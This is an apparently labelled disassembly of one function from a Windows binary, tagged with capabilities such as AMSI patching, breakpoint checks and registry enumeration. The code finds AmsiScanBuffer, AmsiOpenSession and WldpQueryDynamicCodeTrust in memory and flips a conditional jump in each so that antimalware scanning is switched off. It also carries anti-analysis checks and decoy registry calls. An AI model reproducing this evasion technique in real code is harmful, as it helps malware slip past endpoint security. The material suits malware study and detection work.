Function at 0x140001f80
Capabilities:
Check for software breakpoints
Delete registry key
Get common file path
Get session user name
Patch antimalware scan interface function
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
lea rcx, str.AMSI
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140002365
lea rcx, str.WLDP
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140002365
lea rcx, str.AMSI
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.AmsiOpenSession
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.AMSI
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.AmsiScanBuffer
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.WLDP
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.WldpQueryDynamicCodeTrust
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rsi, rsi
je 0x140002365
test r14, r14
je 0x140002365
test rax, rax
je 0x140002365
xor r15d, r15d
mov qword [rsp + 0xd8], rdi
mov edi, 2
mov dword [rbp + 0x67], r15d
mov r8d, edi
mov edx, r15d
mov eax, edx
cmp byte [rax + rsi], 0xc3
jne 0x14000206d
lea eax, [r8 - 1]
cmp byte [rax + rsi], 0xcc
jne 0x14000206d
mov eax, r8d
cmp byte [rax + rsi], 0xcc
je 0x140002074
inc edx
inc r8d
jmp 0x140002052
test edx, edx
je 0x1400020d4
nop dword [rax + rax]
mov ebx, edx
add rbx, rsi
cmp byte [rbx], 0x74
jne 0x140002095
movzx eax, byte [rbx + 1]
cmp byte [rax + rbx + 2], 0xb8
je 0x14000209c
add edx, 0xffffffff
jne 0x140002080
jmp 0x1400020d4
test rbx, rbx
je 0x1400020d4
mov edx, 1
lea r9, [rbp + 0x67]
mov rcx, rbx
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400020d4
mov r8d, dword [rbp + 0x67]
lea r9, [rbp + 0x67]
mov edx, 1
mov byte [rbx], 0x75
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, r15d
mov dword [rbp + 0x67], r15d
nop dword [rax + rax]
mov ecx, eax
cmp byte [rcx + r14], 0xc3
jne 0x1400020fc
lea ecx, [rdi - 1]
cmp byte [rcx + r14], 0xcc
jne 0x1400020fc
mov ecx, edi
cmp byte [rcx + r14], 0xcc
je 0x140002102
inc eax
inc edi
jmp 0x1400020e0
mov rdi, qword [rsp + 0xd8]
test eax, eax
je 0x140002164
nop
mov ebx, eax
add rbx, r14
cmp byte [rbx], 0x74
jne 0x140002125
movzx ecx, byte [rbx + 1]
cmp byte [rcx + rbx + 2], 0xb8
je 0x14000212c
add eax, 0xffffffff
jne 0x140002110
jmp 0x140002164
test rbx, rbx
je 0x140002164
mov edx, 1
lea r9, [rbp + 0x67]
mov rcx, rbx
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002164
mov r8d, dword [rbp + 0x67]
lea r9, [rbp + 0x67]
mov edx, 1
mov byte [rbx], 0x75
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xorps xmm0, xmm0
mov qword [rbp + 0x77], r15
xor r9d, r9d
mov qword [rbp + 0x6f], r15
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor ecx, ecx
movups xmmword [rbp - 0x19], xmm0
lea edx, [r9 + 0xe]
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 0x27], xmm0
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [rbp + 0x67]
mov dword [rbp + 0x67], r15d
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rbp + 0x67], r15d
call fcn.140001360
mov ecx, dword [rbp + 0x67]
add ecx, eax
mov dword [rbp + 0x67], ecx
cmp ecx, 0x491fd3a1
ja 0x1400021cf
lea rcx, [rbp + 0x67]
call fcn.140001f50
mov ecx, dword [rbp + 0x67]
cmp ecx, 0xffffff
jae 0x1400022ef
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExW]
mov qword [rsp + 0x38], r15
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov qword [rsp + 0x38], r15
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov qword [rsp + 0x38], r15
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov qword [rsp + 0x38], r15
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140002365
lea rcx, [0x140005090]
call fcn.140001390
test eax, eax
je 0x140002365
lea rcx, [0x140005100]
call fcn.1400014c0
test eax, eax
je 0x140002365
xor ecx, ecx
mov ebx, 0x5b
call fcn.140001000
mov rcx, rax
lea r9, [rbp + 0x6f]
lea r8, [rbp + 0x77]
movzx edx, bx
call fcn.140002dc0
test eax, eax
je 0x140002365
mov r8d, dword [rbp + 0x6f]
lea rcx, [rbp - 0x19]
mov rdx, qword [rbp + 0x77]
call fcn.140001430
test eax, eax
je 0x140002365
lea rcx, [rbp - 0x19]
call fcn.140002380
test eax, eax
je 0x140002365
xor eax, eax
add rsp, 0x90
pop r15
pop r14
pop rsi
pop rbx
pop rbp
ret
mov eax, 0xffffffff
add rsp, 0x90
pop r15
pop r14
pop rsi
pop rbx
pop rbp
ret